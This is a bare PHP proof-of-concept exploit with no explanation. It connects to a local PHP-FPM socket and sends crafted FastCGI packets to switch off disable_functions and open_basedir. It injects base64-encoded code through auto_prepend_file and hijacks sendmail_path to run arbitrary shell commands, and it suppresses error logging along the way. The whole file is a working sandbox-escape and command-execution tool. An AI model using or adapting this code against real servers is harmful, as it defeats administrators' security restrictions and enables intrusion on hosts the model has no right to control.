php_fpm_poc

<?php
echo execFPM('ls -la /');

function execFPM($cmd){
	$res = false;
	
	if($fpm = getFPM()){
		$smPath = ini_get('sendmail_path');
		
		$shFile = (is_writable('.') ? __DIR__ : sys_get_temp_dir()).'/'.md5(time());
		$mkFlag = md5($shFile.$cmd);
		file_put_contents($shFile, '#!/bin/sh'."\n".'# '.$mkFlag."\n".$cmd.' > '.$shFile);
		chmod($shFile, 0755);
		
		$phpFile = $shFile.'.php';
		file_put_contents($phpFile, '<?php ?>');
	
		$code = '
			error_reporting(0);
			ini_set("error_log", 0);
			ini_set("log_errors", 0);

			if(function_exists("shell_exec"))
				$res = shell_exec("'.$shFile.'");
			
			if(!isset($res)){
				foreach(array("mail", "error_log", "imap_mail","mb_send_mail") as $func)
					if(function_exists($func)){
						$func(1,1,1);
						break;
					}
			}';

		sendFPM($fpm, buildPacketFPM($code, $phpFile, $shFile));    
		sendFPM(getFPM(), buildPacketFPM('', '', $smPath));
		
		$res = file_get_contents($shFile);

		unlink($shFile);
		unlink($phpFile);
	}
	
	return (!strpos($res, $mkFlag) ? $res : false);
}

function buildPacketFPM($code, $phpFile, $shFile) {
    $packet = tosFPM(1,1,"\x00\x01\x00\x00\x00\x00\x00\x00");
    $packet .= initializeParamsFPM(1,
        array(
            'REQUEST_METHOD' => 'GET',
            'SERVER_PROTOCOL' => 'HTTP/1.1',
            'GATEWAY_INTERFACE' => 'CGI/1.1',
            'SERVER_NAME' => 'localhost',
            'HTTP_HOST' => 'localhost',
            'REMOTE_ADDR' => '127.0.0.1',
            'SCRIPT_FILENAME' => $phpFile,
            'PHP_ADMIN_VALUE' => join("\n", array(
                'allow_url_include='.($code ? 'On' : 'Off'),
                'disable_functions=Off',
                'open_basedir=Off',
                'auto_prepend_file='.($code ? 'data:,'.urlencode('<?php eval(base64_decode("'.base64_encode($code).'")); ?>') : ''),
				'sendmail_path='.($code ? $shFile : '/usr/sbin/sendmail -t -i')
            ))
        )
    );
    $packet .= tosFPM(1,4);
    $packet .= tosFPM(1,5);

    return $packet;
}

function getFPM(){
	$v = PHP_VERSION;
	$paths = array('/var/run/php/', '/usr/local/var/run/php/', '/var/run/', '/usr/local/var/run/');
	$vers = array($v[0], $v[0].$v[1].$v[2], $v[0].$v[1].$v[2].$v[3], ''/*, '5','5.3','5.4','5.5','5.6','7','7.0','7.1','7.2','7.3','7.4','8.0','8.1','8.2','8.3','8.4'*/);
	$opts = array();
	$errno = $errstr = '';
	
	foreach($paths as $path) foreach($vers as $ver) $opts[] = $path.'php'.$ver.'-fpm.sock';
	$opts[] = '127.0.0.1:9000';
	
	foreach($opts as $opt)
		if($fpm = @stream_socket_client(($opt[0] != '/' ? 'tcp://' : 'unix://').$opt, $errno, $errstr, 1))
			return $fpm;

	return false;
}

function sendFPM($fpm, $packet){
		$headers = $body = '';
		
		fputs($fpm, $packet);
		while(!feof($fpm)){
			$line = fgets($fpm, 4096);
			if($line == "\r\n") break;
			$headers .= $line;
		}

		while(!feof($fpm)) $body .= fgets($fpm, 4096);
		fclose($fpm);
		
        return $body;
}

function initializeParamsFPM($id, $params = array(), $data = ''){
	foreach($params as $key => $value){
		$data .= pack("CN",strlen($key),(1<<31) | strlen($value));
		$data .= $key;
		$data .= $value;
	}

	return tosFPM($id, 4, $data);
}

function tosFPM($id, $type, $data = ""){
	$packet = sprintf("\x01%c%c%c%c%c%c\x00",
		$type,
		$id / 256, $id % 256,
		strlen($data) / 256, strlen($data) % 256,
		strlen($data) % 8
	);
    
	$packet .= $data;
	$packet .= str_repeat("\x00",(strlen($data) % 8));
	
    return $packet;
}